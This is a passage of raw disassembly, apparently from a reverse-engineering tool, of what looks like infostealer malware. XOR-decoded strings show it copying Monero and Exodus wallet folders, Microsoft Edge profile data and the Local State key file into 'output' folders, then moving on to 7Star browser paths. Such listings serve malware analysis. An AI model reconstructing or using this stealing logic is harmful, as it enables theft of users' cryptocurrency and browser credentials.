packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x1402abb30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140023cb0
mov rdx, r10
lea rcx, [rbp + 0x2ad8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2af8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b18]
call fcn.140039e30
nop
lea rdx, [rbp + 0x2ab8]
lea rcx, [rbp + 0x2b18]
call fcn.140014630
nop
lea rcx, [rbp + 0x2b18]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2af8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2ad8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2ab8]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2a98]
call fcn.140033cd0
lea rdx, [rbp + 0x148]
lea rcx, [rbp - 5]
call fcn.14002f320
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140023f6f
mov r8d, esi
cmp r14d, 2
jl 0x140023f33
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r8d, reloc.WS2_32.dll_recv
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140023f40
mov rdx, r10
lea rcx, [rbp + 0x2b38]
call fcn.140033e80
nop
bts ebx, 0xf
mov dword [rbp + 0x38], ebx
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2b58]
call fcn.140037e00
nop
bts ebx, 0x10
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b78]
call fcn.140039e30
nop
bts ebx, 0x11
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2b78]
call fcn.14000a0a0
test al, al
je 0x14002401f
lea r8, str._documents_monero
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2b98]
call fcn.140037c40
nop
bts ebx, 0x12
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2bb8]
call fcn.140039e30
nop
bts ebx, 0x13
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2bb8]
call fcn.14000a130
test al, al
je 0x14002401f
mov dil, 1
jmp 0x140024022
xor dil, dil
bt ebx, 0x13
jae 0x140024039
btr ebx, 0x13
lea rcx, [rbp + 0x2bb8]
call fcn.140007bc0
nop
bt ebx, 0x12
jae 0x140024050
btr ebx, 0x12
lea rcx, [rbp + 0x2b98]
call fcn.140033cd0
nop
bt ebx, 0x11
jae 0x140024067
btr ebx, 0x11
lea rcx, [rbp + 0x2b78]
call fcn.140007bc0
nop
bt ebx, 0x10
jae 0x14002407e
btr ebx, 0x10
lea rcx, [rbp + 0x2b58]
call fcn.140033cd0
nop
bt ebx, 0xf
jae 0x140024094
btr ebx, 0xf
lea rcx, [rbp + 0x2b38]
call fcn.140033cd0
test dil, dil
je 0x14002435d
lea r8, str._output_wallets_monero
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2bd8]
call fcn.140037c40
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2bf8]
call fcn.140039e30
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 4]
call fcn.14002f320
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x1400242cf
mov r8d, esi
cmp r14d, 2
jl 0x140024291
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r8d, reloc.WS2_32.dll_recv
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400242a0
mov rdx, r10
lea rcx, [rbp + 0x2c18]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2c38]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2c58]
call fcn.140039e30
nop
lea rdx, [rbp + 0x2bf8]
lea rcx, [rbp + 0x2c58]
call fcn.140014630
nop
lea rcx, [rbp + 0x2c58]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2c38]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2c18]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2bf8]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2bd8]
call fcn.140033cd0
lea rdx, [rbp + 0x5f8]
lea rcx, [rbp - 3]
call fcn.14002f340
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140024623
mov r8d, esi
cmp r14d, 2
jl 0x1400245ee
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x1402abb30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x140024623
mov r9, r10
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400245f1
mov rdx, r10
lea rcx, [rbp + 0x2c78]
call fcn.140033e80
nop
bts ebx, 0x14
mov dword [rbp + 0x38], ebx
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2c98]
call fcn.140037e00
nop
bts ebx, 0x15
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2cb8]
call fcn.140039e30
nop
bts ebx, 0x16
mov dword [rbp + 0x40], ebx
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2cb8]
call fcn.14000a0a0
test al, al
je 0x1400246d9
lea r8, str._appdata_roaming_exodus
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2cd8]
call fcn.140037c40
nop
bts ebx, 0x17
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2cf8]
call fcn.140039e30
nop
bts ebx, 0x18
mov dword [rbp + 0x40], ebx
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2cf8]
call fcn.14000a130
test al, al
je 0x1400246d9
mov dil, 1
jmp 0x1400246dc
xor dil, dil
bt ebx, 0x18
jae 0x1400246f6
btr ebx, 0x18
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2cf8]
call fcn.140007bc0
nop
bt ebx, 0x17
jae 0x140024710
btr ebx, 0x17
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2cd8]
call fcn.140033cd0
nop
bt ebx, 0x16
jae 0x14002472a
btr ebx, 0x16
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2cb8]
call fcn.140007bc0
nop
bt ebx, 0x15
jae 0x140024744
btr ebx, 0x15
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2c98]
call fcn.140033cd0
nop
bt ebx, 0x14
jae 0x14002475d
btr ebx, 0x14
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2c78]
call fcn.140033cd0
test dil, dil
je 0x140024aec
lea r8, str._output_wallets_exodus
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2d18]
call fcn.140037c40
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2d38]
call fcn.140039e30
nop
lea rdx, [rbp + 0x610]
lea rcx, [rbp - 2]
call fcn.14002f340
mov r9, rax
cmp byte [rax + 0x17], 0
je 0x140024a5e
cmp r14d, 2
jl 0x140024a22
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm1, xmm0
movd dword [r9 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm1, xmm0
movd dword [r9 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm1, xmm0
movd dword [r9 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 0x10]
xorps xmm1, xmm0
movd dword [r9 + 0x10], xmm1
movdqa xmm2, xmmword [0x1402abb30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 0x14]
xorps xmm1, xmm0
movd dword [r9 + 0x14], xmm1
jmp 0x140024a5e
mov r8, r9
nop word [rax + rax]
mov eax, 0x29e4129f
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, sil
sub al, cl
add al, 0x34
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x140024a30
mov rdx, r9
lea rcx, [rbp + 0x2d58]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2d78]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2d98]
call fcn.140039e30
nop
lea rdx, [rbp + 0x2d38]
lea rcx, [rbp + 0x2d98]
call fcn.140014630
nop
lea rcx, [rbp + 0x2d98]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2d78]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2d58]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2d38]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2d18]
call fcn.140033cd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x6240]
call fcn.14000bde0
lea r8, str._appdata_local_microsoft_edge_user_data_
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2db8]
call fcn.140037c40
nop
mov rdx, rax
lea rcx, [rbp + 0x6240]
call fcn.140012310
nop
lea rcx, [rbp + 0x2db8]
call fcn.140033cd0
lea rdx, str.Default
lea rcx, [rbp + 0x2dd8]
call fcn.140033e80
nop
lea rdx, [rbp + 0x2dd8]
lea rcx, [rbp + 0x6240]
call fcn.1400335d0
nop
lea rcx, [rbp + 0x2dd8]
call fcn.140033cd0
lea r8, str._elocalstate
lea rdx, [rbp + 0x66c8]
lea rcx, [rbp + 0x2df8]
call fcn.140037c40
mov rbx, rax
lea r8, str._appdata_local_microsoft_edge_user_data_Local_State
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2e18]
call fcn.140037c40
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ce80
nop
lea rcx, [rbp + 0x2e18]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2df8]
call fcn.140033cd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x6258]
call fcn.14000bde0
lea r8, str._elocalstate
lea rdx, [rbp + 0x66c8]
lea rcx, [rbp + 0x2e38]
call fcn.140037c40
nop
mov rdx, rax
lea rcx, [rbp + 0x6258]
call fcn.14000d0a0
nop
lea rcx, [rbp + 0x2e38]
call fcn.140033cd0
lea r8, str._elocalstate
lea rdx, [rbp + 0x66c8]
lea rcx, [rbp + 0x6448]
call fcn.140037c40
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x6270]
call fcn.14000bde0
lea rdx, [rbp + 0x6448]
lea rcx, [rbp + 0x2e58]
call fcn.140033ec0
mov rdx, rax
lea rcx, [rbp + 0x6270]
call fcn.14000d870
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x6270]
call fcn.140032ff0
mov r8d, 5
lea rdx, [rbp + 0x90]
mov rcx, rax
call fcn.14002f8c0
mov rbx, qword [rax]
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x6270]
call fcn.140032ff0
mov r9, rbx
mov r8, qword [rax]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x6270]
call fcn.140033000
lea rcx, [rbp + 0x6270]
call fcn.140032fe0
mov rbx, rax
lea rcx, [rbp + 0x6270]
call fcn.140032fe0
mov qword [rbp + 0x6148], rax
mov edx, Ordinal_26
lea rcx, [rbp + 0x6288]
call fcn.14000bde0
lea rcx, [rbp + 0x6270]
call fcn.14002e950
mov r8, rax
lea r9, [rbp + 0x6148]
mov rdx, rbx
lea rcx, [rbp + 0x6288]
call fcn.14000d2d0
nop
lea rcx, [rbp + 0x6288]
call fcn.140032fe0
mov rbx, rax
lea rcx, [rbp + 0x6288]
call fcn.140032fd0
mov rdi, rax
cmp rbx, rax
je 0x140024d47
nop
movzx edx, byte [rbx]
lea rcx, [0x1402e4e30]
call fcn.14003a430
inc rbx
cmp rbx, rdi
jne 0x140024d30
lea r8, str._output_edge_
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x2e78]
call fcn.14003a8e0
nop
mov rcx, rax
call fcn.1400338c0
mov rdx, rax
lea rcx, [rbp + 0x65c8]
call fcn.140033a40
nop
lea rcx, [rbp + 0x2e78]
call fcn.140007bc0
lea rcx, [rbp + 0x65c8]
call fcn.1400338c0
mov qword [rsp + 0x50], rax
lea r8, [0x140292748]
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x2e98]
call fcn.14003a8e0
nop
mov rcx, rax
call fcn.1400338c0
mov rdx, rax
lea rcx, [rbp + 0x65e8]
call fcn.140033a40
nop
lea rcx, [rbp + 0x2e98]
call fcn.1400366f0
lea rcx, [rbp + 0x65e8]
call fcn.1400338c0
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x2eb8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2eb8]
call fcn.140033ec0
mov r13, rax
lea rax, [rbp + 0x658]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x6288]
lea rcx, [rbp + 0x658]
call fcn.140033060
mov r12, rax
lea rax, [rbp + 0x2ed8]
mov qword [rbp - 0x58], rax
lea r8, [0x140291dcc]
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2ed8]
call fcn.140037c40
mov r15, rax
lea rax, [rbp + 0x2ef8]
mov qword [rbp - 0x60], rax
lea r8, str._appdata_local_microsoft_edge_user_data
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2ef8]
call fcn.140037c40
mov r14, rax
lea rax, [rbp + 0x2f18]
mov qword [rbp - 0x68], rax
lea rdx, [0x140292748]
lea rcx, [rbp + 0x2f18]
call fcn.140033a40
mov rsi, rax
lea rax, [rbp + 0x2f38]
mov qword [rbp - 0x70], rax
lea rdx, str._edge_
lea rcx, [rbp + 0x2f38]
call fcn.140033e80
mov rdi, rax
lea rax, [rbp + 0x2f58]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2f58]
call fcn.140033ec0
mov rbx, rax
lea rdx, [rbp + 0x6240]
lea rcx, [rbp + 0x670]
call fcn.140033630
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e10
lea r8, str._appdata_local_7star_7star_user_data_
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2f78]
call fcn.140037c40
nop
mov ebx, dword [rbp + 0x40]
bts ebx, 0x19
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2f98]
call fcn.140039e30
nop
bts ebx, 0x1a
mov dword [rbp + 0x40], ebx
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2f98]
call fcn.14000a0a0
test al, al
je 0x140024fd1
lea r8, str._appdata_local_7star_7star_user_data_
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2fb8]
call fcn.140037c40
nop
bts ebx, 0x1b
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2fd8]
call fcn.140039e30
nop
bts ebx, 0x1c
mov dword [rbp + 0x40], ebx
mov dword [rbp + 0x38], ebx
